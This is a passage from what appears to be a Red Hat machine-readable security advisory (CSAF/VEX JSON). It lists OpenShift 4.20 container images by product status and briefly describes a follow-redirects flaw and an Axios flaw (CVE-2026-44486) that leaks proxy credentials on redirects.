"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "follow-redirects: follow-redirects: Information disclosure via cross-domain redirects"
},
{
"cve": "CVE-2026-44486",
"cwe": {
"id": "CWE-201",
"name": "Insertion of Sensitive Information Into Sent Data"
},
"discovery_date": "2026-06-11T17:01:30.944384+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487947"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client, specifically in its Node.js HTTP adapter. When Axios is configured to use an authenticated proxy and follows a redirect, it may inadvertently send the Proxy-Authorization header, containing proxy credentials, to the redirect target. This can lead to the disclosure of sensitive proxy credentials to an unintended remote server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure of proxy credentials via HTTP redirects",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important information disclosure flaw in the Axios Node.js HTTP adapter. Red Hat products utilizing Axios in a Node.js environment with an authenticated proxy and automatic redirects enabled are susceptible. The vulnerability arises when a request, initially sent through an authenticated proxy, is redirected to a target that no longer uses the proxy, potentially leaking `Proxy-Authorization` headers containing sensitive credentials to an untrusted remote server. This risk is heightened in deployments where applications interact with untrusted HTTP origins.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
